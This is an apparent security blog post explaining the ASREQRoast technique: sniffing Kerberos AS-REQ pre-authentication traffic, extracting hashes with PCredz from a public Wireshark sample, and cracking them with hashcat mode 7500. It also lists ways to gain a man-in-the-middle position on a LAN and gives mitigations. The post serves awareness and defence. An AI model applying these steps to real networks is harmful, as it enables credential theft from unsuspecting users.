Какой взлом


Предыдущая | Следующая

http://dumpco.re/blog/asreqroast



     _    _____ _____ _____ _____ _____ _____             _   
    / |  |  _  |   __| __  |   __|     | __  |___ ___ ___| |_ 
 _ / /   |     |__   |    -|   __|  |  |    -| . | .'|_ -|  _|
|_|_/    |__|__|_____|__|__|_____|__  _|__|__|___|__,|___|_|  
                                    |__| 

2019-07-01

ASREQRoast - From MITM to hash 
==============================

While reading up on the typical kerberos authentication workflow, I
realized that it's possible to get a hash of the user's password (that you
can attempt to crack). The only thing you have to do is to intercept the
first packet in the kerberos authentication process, called AS-REQ.

I didn't find the attack to be as well documented as the other attacks such
as kerberoasting or ASREPRoast[4], therefore I decided to write this post
to increase awareness of the issue.
 
What this attack means is that an attacker who can gain a passive
man-in-the-middle position (MITM) for the duriation of user logon or other
action that triggers kerberos authentication, will be able to launch
offline password cracking attacks against the victim user performing the
authentication attempt.

I'd like to point out that this attack has been known at least since 2014:

    "Thus, Kerberos pre-authentication can prevent the active
    attacker. However, it does not prevent a passive attacker
    from sniffing the client's encrypted timestamp message to
    the KDC. If the attacker can sniff that full packet, he
    can brute force it offline."[5]

The oldest reference of pre-authentication I can find is from rfc6113[7],
which was published April 2011.


# Demo

For this demo, I'll use a sample from Wireshark's collection. Imagine that
you collected it yourself by sniffing traffic from a victim user.

Sample: krb-816 from wireshark's sample page[0].

Launching the PCredz[1] tool from @lgandx to scan the pcap file:


    ~/tools/PCredz $ ./Pcredz -f ~/downloads/krb-816.cap 
    Pcredz 1.0.0
    Author: Laurent Gaffie
    Please send bugs/comments/pcaps to: laurent.gaffie@gmail.com
    This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos,
    FTP, HTTP Basic and credit card data from a given pcap file or from a
    live interface.
    CC number scanning activated
    Using TCPDump format
    1 protocol: udp 10.1.12.2:1059 > 10.5.3.1:88
    MSKerb hash found: $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba7
    5d4ff53c1db7294141760fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c3
    7883f154a
    19 protocol: udp 10.1.12.2:1083 > 10.5.3.1:88
    MSKerb hash found: $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8f
    de60a9f9dfff50551ff5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893
    c4002008
    /home/magnus/downloads/krb-816.cap parsed in: 0.0747 seconds (File size
    0.0343 Mo).


The capture contained two AS-REQ's that used pre-authentication[2], which
means that the user's NTLM hash was used as an encryption key to encrypt a
timestamp. Therefore, we can test if a user has a specific password by
hashing it with NTLM, and then using the hash in an attempt to decrypt the
encrypted timestamp. If it worked, we've successfully guessed the victim's
password. In other words, we may launch an offline bruteforce attack.

We can do that with hashcat[3], mode 7500:


    ~/tools/hashcat $ ./hashcat -m 7500 as-req.hashes openwall.net-all.txt 
    hashcat (v5.1.0-893-gb8ab78d4) starting...
    ...
    Dictionary cache built:
    * Filename..: /Users/mks/resources/SecLists/Passwords/openwall.net-all.
    txt
    * Passwords.: 3721224
    * Bytes.....: 41000012
    * Keyspace..: 3721224
    * Runtime...: 0 secs

    $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba75d4ff53c1db72941417
    60fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c37883f154a:123
    $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8fde60a9f9dfff50551ff
    5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893c4002008:123
                                                     
    Session..........: hashcat
    Status...........: Cracked
    Hash.Name........: Kerberos 5 AS-REQ Pre-Auth etype 23
    Hash.Target......: /Users/mks/shared/as-req.hashes
    Time.Started.....: Mon Jul  1 13:49:22 2019 (0 secs)
    Time.Estimated...: Mon Jul  1 13:49:22 2019 (0 secs)
    Guess.Base.......: File (/Users/mks/resources/SecLists/Passwords/openwa
    ll.net-all.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#2.........:   288.7 kH/s (7.43ms) @ Accel:2 Loops:1 Thr:64 Vec:1
    Speed.#*.........:   288.7 kH/s
    Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
    Progress.........: 6144/7442448 (0.08%)
    Rejected.........: 0/6144 (0.00%)
    Restore.Point....: 0/3721224 (0.00%)
    Restore.Sub.#2...: Salt:1 Amplifier:0-1 Iteration:0-1
    Candidates.#2....: 12345 -> acumen

    Started: Mon Jul  1 13:49:13 2019
    Stopped: Mon Jul  1 13:49:24 2019


That's it.


# Mitigation

There's none. Technically speaking, you could disable kerberos
pre-authentication, but that makes you vulnerable to the even more scarier
ASREPRoast[4] attack. Your best bet is increasing the difficulty of
cracking user's passwords, ensuring that 2FA is enabled on all
authentication sites and increasing the difficulty of getting a MITM
position

Luckily, kerberos isn't typically used over the internet, therefore
limiting the attack surface. However gaining a MITM position on a LAN has
historically been straight forward.

As an example, these are just a few techniques to gain MITM on a LAN:

- ARP poisoning
- ICMP type 13 redirect
- rogue DHCP
- rogue IPv6 announcements

The problem is that there's no confidentiality protection of the traffic.
If only some transport layer encryption was in place, problem would be
solved.


# Practicality

The practicallity of this attack depends on your abilities to gain MITM
and the complexity of user passwords.
Since there is no active part besides MITMing a victim, the level of
stealth of this attack is the same as the level of stealth involved in
gaining and maintaining your MITM position. 


# Password cracking performance

Here's a comparison from a hashcat benchmark of NTLM and the AS-REQ packet
on a RTX 2080Ti. As you can see it's 135 times slower to crack AS-REQ
hashes when comparing to NTLM hashes. That's not really that bad when
thinking about the fact that you could get cracking speeds of 632 GH/s with
NTLM for $7.34/hour on AWS[6]. That would be about 4.7 GH/s with AS-REQ.


    Hashmode: 1000 - NTLM
    Speed.#1.........: 87510.8 MH/s (24.82ms) @ Accel:32 Loops:1024 Thr:
    1024 Vec:2

    Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23
    Speed.#1.........:   646.0 MH/s (54.71ms) @ Accel:128 Loops:64 Thr:
    64 Vec:1


If you have an opinion of the practicality of this attack, let me know.


# References

0: wiki.wireshark.org/SampleCaptures#Kerberos_and_keytab_file_for_decryption
1: github.com/lgandx/PCredz
2: ldapwiki.com/wiki/Kerberos Pre-Authentication
3: hashcat.net
4: harmj0y.net/blog/activedirectory/roasting-as-reps
5: social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
6: coalfire.com/The-Coalfire-Blog/March-2019/High-Power-Hash-Cracking-with-NPK
7: tools.ietf.org/html/rfc6113